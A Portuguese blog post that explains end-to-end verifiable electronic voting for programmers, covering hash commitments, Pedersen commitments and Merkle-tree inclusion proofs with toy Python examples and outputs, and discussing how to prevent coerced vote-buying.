<p>Estar ou não na internet deixa de ser a questão. A segurança não mora na ausência de rede; mora na verificação pública. &ldquo;Confie, a máquina está trancada numa sala&rdquo; vira &ldquo;não confie em nada, confira a matemática&rdquo;. Essa inversão é a única coisa que o modelo atual não consegue oferecer.</p>
<h2>O tweet que inspirou este post<span class="hx:absolute hx:-mt-20" id="o-tweet-que-inspirou-este-post"></span>
    <a href="#o-tweet-que-inspirou-este-post" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Recentemente eu postei <a href="https://x.com/AkitaOnRails/status/2085550756837335483"target="_blank" rel="noopener">este tweet</a> sobre verificabilidade ponta a ponta (E2E-V, <em>end-to-end verifiability</em>). O resumo da ideia:</p>
<ol>
<li>Cada eleitor recebe um recibo em papel com um identificador único — um hash — que <strong>não identifica a pessoa nem o voto</strong>.</li>
<li>Os votos de cada urna entram numa estrutura pública onde só se acrescenta, nunca se apaga (<em>append-only</em>): uma Merkle tree (o mesmo princípio de uma blockchain).</li>
<li>Essa árvore é publicada na íntegra. Qualquer cidadão baixa e verifica.</li>
<li><strong>Verificabilidade individual:</strong> cada eleitor checa se o seu hash está lá, sem intermediário.</li>
<li><strong>Verificabilidade universal:</strong> qualquer um refaz a conta da árvore e confere se ela produz o total anunciado.</li>
</ol>
<p>Eu deixei explícito no tweet: isso <strong>não</strong> é uma solução, é uma ideia de guardanapo. O conceito existe, é matematicamente sólido e não é novidade pra ninguém de ciência da computação. Mas a reação foi interessante.</p>
<h2>O problema do voto de cabresto<span class="hx:absolute hx:-mt-20" id="o-problema-do-voto-de-cabresto"></span>
    <a href="#o-problema-do-voto-de-cabresto" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Boa parte dos comentários travou no mesmo ponto: o voto de cabresto. No Brasil isso é prática histórica: o coronel compra o voto do eleitor pobre e exige prova de que ele votou &ldquo;direito&rdquo;. Antigamente era a cédula pré-marcada; hoje seria a foto da tela da urna (por isso celular é proibido na cabine).</p>
<p>E aí surge a aparente contradição:</p>
<ul>
<li>Se o recibo que o eleitor leva pra casa <strong>revela</strong> pra quem ele votou, ele pode ser coagido ou vendido.</li>
<li>Se o recibo <strong>não revela</strong> pra quem ele votou, como o eleitor confere que o voto dele foi pro candidato certo?</li>
</ul>
<p>Recentemente postei a resposta, ainda que só de passagem: <strong>prova de conhecimento zero</strong> (zero-knowledge proof, ZK). O mesmo princípio por trás de criptomoedas verdadeiramente anônimas como Monero e Zcash.</p>
<p>O fluxo seria assim: o eleitor escolhe o candidato na tela; a urna gera um número aleatório secreto, computa <code>ciphertext = Enc(chave_publica_da_eleicao, voto; aleatorio)</code>, gera uma prova ZK de que esse ciphertext contém um voto válido, e publica tudo numa Merkle tree pública. O eleitor leva pra casa só um número de série. O serial <strong>não contém o voto</strong>, mas permite provar que o voto existe na árvore e não foi adulterado.</p>
<p>Agora vamos destrinchar isso pra programador, passo a passo, com valores reais — e no final eu explico por que isso, mesmo funcionando perfeitamente, não resolveria nada.</p>
<h2>Peça 1: hash como compromisso<span class="hx:absolute hx:-mt-20" id="peça-1-hash-como-compromisso"></span>
    <a href="#pe%c3%a7a-1-hash-como-compromisso" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A fundação de tudo é a função de hash. Uma função como SHA-256 pega qualquer entrada e produz 32 bytes aparentemente aleatórios. Três propriedades importam aqui:</p>
<ul>
<li><strong>Determinística:</strong> mesma entrada, mesma saída. Sempre.</li>
<li><strong>Unidirecional:</strong> dado o hash, não dá pra voltar à entrada.</li>
<li><strong>Avalanche:</strong> mudar um bit da entrada muda o hash inteiro.</li>
</ul>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">hashlib</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">commit</span><span class="p">(</span><span class="n">voto</span><span class="p">,</span> <span class="n">nonce</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">sha256</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">voto</span><span class="si">}</span><span class="s2">:</span><span class="si">{</span><span class="n">nonce</span><span class="si">}</span><span class="s2">&#34;</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">commit(&#39;Candidato A&#39;, 987654321) = 337051f1dbc6a8ef412ecc14067c263d6a0dc83dada6939b51d74b6651727b69
</span></span><span class="line"><span class="cl">commit(&#39;Candidato A&#39;, 123456789) = 55512bcd60924abf68d162f1a130023635089974db08ea9cff691e1f209898ab
</span></span><span class="line"><span class="cl">commit(&#39;Candidato B&#39;, 987654321) = faf54e90eb84ba4c0446701c3779a382e48d02847bd2301f3836f673c54f9693</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Olhe com atenção. O primeiro e o segundo hash escondem <strong>o mesmo voto</strong> — o que muda é o <code>nonce</code>, um número aleatório que serve de &ldquo;embalagem&rdquo;. O primeiro e o terceiro têm o mesmo nonce, mas votos diferentes. Os três hashes não têm nenhuma semelhança visível entre si.</p>
<p>Isso é um <strong>compromisso</strong> (<em>commitment</em>): eu publico o hash hoje, e amanhã posso revelar <code>(voto, nonce)</code> e qualquer um confere que o hash bate. Eu não consigo mudar o voto depois de publicado (propriedade <em>binding</em>), e ninguém consegue descobrir o voto antes da revelação (propriedade <em>hiding</em>).</p>
<p>Só que tem um problema pra nossa eleição: se o eleitor leva pra casa o voto e o nonce, ele pode <strong>mostrar os dois pro coagidor</strong>, que verifica o hash e confirma o voto. Cabresto de volta. Precisamos de algo melhor.</p>
<h2>Peça 2: compromissos Pedersen — esconder de verdade<span class="hx:absolute hx:-mt-20" id="peça-2-compromissos-pedersen--esconder-de-verdade"></span>
    <a href="#pe%c3%a7a-2-compromissos-pedersen--esconder-de-verdade" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O compromisso de Pedersen resolve isso com aritmética modular. Vou usar números de brinquedo pra você poder conferir na mão; sistemas reais usam primos de 2048 bits ou curvas elípticas, mas a matemática é idêntica.</p>
<p>Pegue um primo <code>p = 23</code> e dois geradores <code>g = 4</code> e <code>h = 8</code> (ambos geram um subgrupo de ordem 11 módulo 23 — confira: <code>4^11 mod 23 = 1</code> e <code>8^11 mod 23 = 1</code>). O compromisso de um voto <code>v</code> com nonce <code>n</code> é:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">C = g^v * h^n  (mod p)</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">p</span><span class="p">,</span> <span class="n">q</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">h</span> <span class="o">=</span> <span class="mi">23</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">8</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">pedersen</span><span class="p">(</span><span class="n">v</span><span class="p">,</span> <span class="n">n</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="p">(</span><span class="nb">pow</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">v</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span> <span class="o">*</span> <span class="nb">pow</span><span class="p">(</span><span class="n">h</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">p</span><span class="p">))</span> <span class="o">%</span> <span class="n">p</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">C(voto=1, n=3)  = 1
</span></span><span class="line"><span class="cl">C(voto=1, n=9)  = 13
</span></span><span class="line"><span class="cl">C(voto=0, n=3)  = 6</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Mesmo voto, nonces diferentes, compromissos completamente diferentes. O Pedersen tem uma propriedade chamada <strong>ocultação perfeita</strong> (<em>perfectly hiding</em>): para qualquer compromisso <code>C</code>, <strong>existe</strong> um nonce que abre <code>C</code> como voto 0, e <strong>existe</strong> um nonce que abre <code>C</code> como voto 1. Com nosso primo de brinquedo dá pra provar por força bruta:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">C</span> <span class="o">=</span> <span class="mi">1</span>  <span class="c1"># o compromisso de cima, C(voto=1, n=3)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">11</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">pedersen</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span> <span class="o">==</span> <span class="n">C</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;C abre como voto=0 com nonce </span><span class="si">{</span><span class="n">n</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">pedersen</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span> <span class="o">==</span> <span class="n">C</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;C abre como voto=1 com nonce </span><span class="si">{</span><span class="n">n</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">C=1 abre como voto=0 com nonce 0
</span></span><span class="line"><span class="cl">C=1 abre como voto=1 com nonce 3</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Leia de novo, porque este é o coração do artigo. O compromisso <code>C = 1</code> é compatível com <strong>as duas histórias</strong>. Quem vê só o <code>C</code> não tem como saber qual é a verdadeira — nem por força bruta, nem com computador quântico, porque ambas as aberturas existem matematicamente. O valor <code>C</code> simplesmente não contém a informação do voto.</p>
<p>&ldquo;Mas espera&rdquo;, você diz, &ldquo;então o eleitor pode trocar de voto depois?&rdquo;. Não, e essa é a outra metade da propriedade: o compromisso é <strong>computacionalmente vinculante</strong> (<em>computationally binding</em>). Quem gerou o compromisso com <code>(voto=1, n=3)</code> só consegue revelar a outra abertura (<code>voto=0, n=0</code>) se conseguir calcular logaritmo discreto — ou seja, descobrir <code>x</code> tal que <code>g^x = h mod p</code>. Com <code>p = 23</code> é trivial; com 2048 bits, é computacionalmente impossível. Resumo:</p>
<ul>
<li><strong>Quem olha de fora</strong> não descobre o voto (ocultação).</li>
<li><strong>Quem gerou</strong> não consegue mudar o voto depois (vinculação).</li>
</ul>
<p>E o detalhe final que mata o cabresto: <strong>quem gera o nonce é a urna, não o eleitor.</strong> O eleitor vê seu voto na tela, a urna faz o compromisso internamente, descarta o nonce e imprime só o <code>C</code> — o serial. O eleitor sai da cabine sem ter como abrir o próprio compromisso, nem que queira.</p>
<p>(Um detalhe de implementação que vou simplificar daqui pra frente: o Pedersen esconde tão bem que <strong>ninguém</strong> consegue decriptá-lo — nem as autoridades na hora de apurar. Na prática, a urna publica junto um ciphertext ElGamal do mesmo voto: igualmente opaco pra quem olha de fora, mas decriptável pelas autoridades na apuração, com uma prova ZK de que os dois carregam o mesmo voto. Nosso Pedersen de brinquedo faz o papel dos dois neste artigo, pra manter a matemática com números pequenos.)</p>
<h2>Peça 3: a Merkle tree — a urna que qualquer um audita<span class="hx:absolute hx:-mt-20" id="peça-3-a-merkle-tree--a-urna-que-qualquer-um-audita"></span>
    <a href="#pe%c3%a7a-3-a-merkle-tree--a-urna-que-qualquer-um-audita" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Onde ficam esses compromissos? Numa estrutura pública que qualquer pessoa pode baixar e verificar: uma Merkle tree. Se você assistiu meu vídeo sobre <a href="/2023/11/10/akitando-147-criptografia-na-pratica-certificados-bittorrent-git-bitcoin/">criptografia na prática — certificados, BitTorrent, Git, Bitcoin</a>, já viu essa estrutura em ação: é a mesma que escala o BitTorrent, organiza os commits do Git e as transações de um bloco de Bitcoin.</p>
<p>A construção é simples: cada folha é o hash de um voto (o compromisso <code>C</code> de um eleitor), e cada nó interno é o hash da concatenação dos dois filhos, até sobrar um único hash no topo: a <strong>raiz</strong>.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">H</span><span class="p">(</span><span class="n">x</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">sha256</span><span class="p">(</span><span class="n">x</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">eleitores</span> <span class="o">=</span> <span class="p">[(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">3</span><span class="p">),</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">7</span><span class="p">),</span> <span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">),</span> <span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">10</span><span class="p">),</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">5</span><span class="p">),</span> <span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">),</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">8</span><span class="p">),</span> <span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">4</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl"><span class="n">leaves</span> <span class="o">=</span> <span class="p">[</span><span class="n">H</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s2">:</span><span class="si">{</span><span class="n">pedersen</span><span class="p">(</span><span class="n">v</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="p">(</span><span class="n">v</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">eleitores</span><span class="p">)]</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Com os 8 votos de exemplo, as folhas ficam assim (hashes abreviados):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">eleitor 0: voto=1 nonce=3  -&gt; C=1  -&gt; folha=ef134f2a180ba05d...
</span></span><span class="line"><span class="cl">eleitor 1: voto=0 nonce=7  -&gt; C=12 -&gt; folha=ce356d2f943ea5af...
</span></span><span class="line"><span class="cl">eleitor 2: voto=1 nonce=2  -&gt; C=3  -&gt; folha=8e0375adfc1f4563...
</span></span><span class="line"><span class="cl">eleitor 3: voto=1 nonce=10 -&gt; C=12 -&gt; folha=df284a49f837c454...
</span></span><span class="line"><span class="cl">eleitor 4: voto=0 nonce=5  -&gt; C=16 -&gt; folha=fd6df9e3530cb74f...
</span></span><span class="line"><span class="cl">eleitor 5: voto=1 nonce=1  -&gt; C=9  -&gt; folha=e0e9d38f9ccb7a41...
</span></span><span class="line"><span class="cl">eleitor 6: voto=0 nonce=8  -&gt; C=4  -&gt; folha=e719f7fde83fafda...
</span></span><span class="line"><span class="cl">eleitor 7: voto=1 nonce=4  -&gt; C=8  -&gt; folha=1393ac80e69a8991...
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">RAIZ PUBLICA: 48826b6481b574e37156f85e34d877105bc55073fb5a5b981239572a8e7c4b61</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>(Os votos e nonces da tabela aparecem abertos só pra você conferir a conta; na árvore pública existem apenas as folhas — hashes opacos.)</p>
<p>A raiz é o &ldquo;resumo&rdquo; da eleição inteira: 32 bytes que representam todos os votos. Se <strong>um único bit</strong> de um único voto mudar, a raiz muda completamente. Publica-se a raiz e a árvore inteira. Qualquer cidadão, em casa, com código aberto, refaz a árvore e confere se a raiz publicada bate. Isso é a <strong>verificabilidade universal</strong>.</p>
<p>Pra verificação individual, suponha que você é o eleitor 4. Seu recibo é o serial — a folha <code>fd6df9e3530cb74f1f0795b751a43454cab281a431d0558b413e33bba83a4100</code>, que é o hash do seu compromisso <code>C = 16</code> na posição 4 da árvore. Pra provar que ele está na árvore, você não precisa baixar e conferir todos os 8 votos — precisa de apenas <code>log2(8) = 3</code> hashes, o caminho dos &ldquo;irmãos&rdquo; até a raiz:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">merkle_verify</span><span class="p">(</span><span class="n">leaf</span><span class="p">,</span> <span class="n">proof</span><span class="p">,</span> <span class="n">root</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">cur</span> <span class="o">=</span> <span class="n">leaf</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">h_</span><span class="p">,</span> <span class="n">side</span> <span class="ow">in</span> <span class="n">proof</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">cur</span> <span class="o">=</span> <span class="n">H</span><span class="p">(</span><span class="n">h_</span> <span class="o">+</span> <span class="n">cur</span><span class="p">)</span> <span class="k">if</span> <span class="n">side</span> <span class="o">==</span> <span class="s2">&#34;esq&#34;</span> <span class="k">else</span> <span class="n">H</span><span class="p">(</span><span class="n">cur</span> <span class="o">+</span> <span class="n">h_</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">cur</span> <span class="o">==</span> <span class="n">root</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">prova do eleitor 4:
</span></span><span class="line"><span class="cl">  (dir) e0e9d38f9ccb7a41...  (irmão: folha do eleitor 5)
</span></span><span class="line"><span class="cl">  (dir) 3149c3bf17d98fbc...  (irmão: nó dos eleitores 6-7)
</span></span><span class="line"><span class="cl">  (esq) 3b902c849a40619b...  (irmão: nó dos eleitores 0-3)
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">verificação local: True
</span></span><span class="line"><span class="cl">tentando folha adulterada: False</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Você pega seu serial, concatena com os 3 hashes da prova na ordem certa, hasheia três vezes e confere se chegou na raiz pública. Se chegou, <strong>é matematicamente impossível</strong> que seu voto não esteja na árvore — porque produzir uma prova falsa exigiria encontrar uma colisão no SHA-256, e ninguém no planeta sabe fazer isso. Se alguém trocar seu voto depois, sua prova deixa de funcionar e você tem a evidência da fraude na mão. Numa eleição real com 150 milhões de votos, a prova teria uns 28 hashes — cabe num recibo de papel ou num QR code.</p>
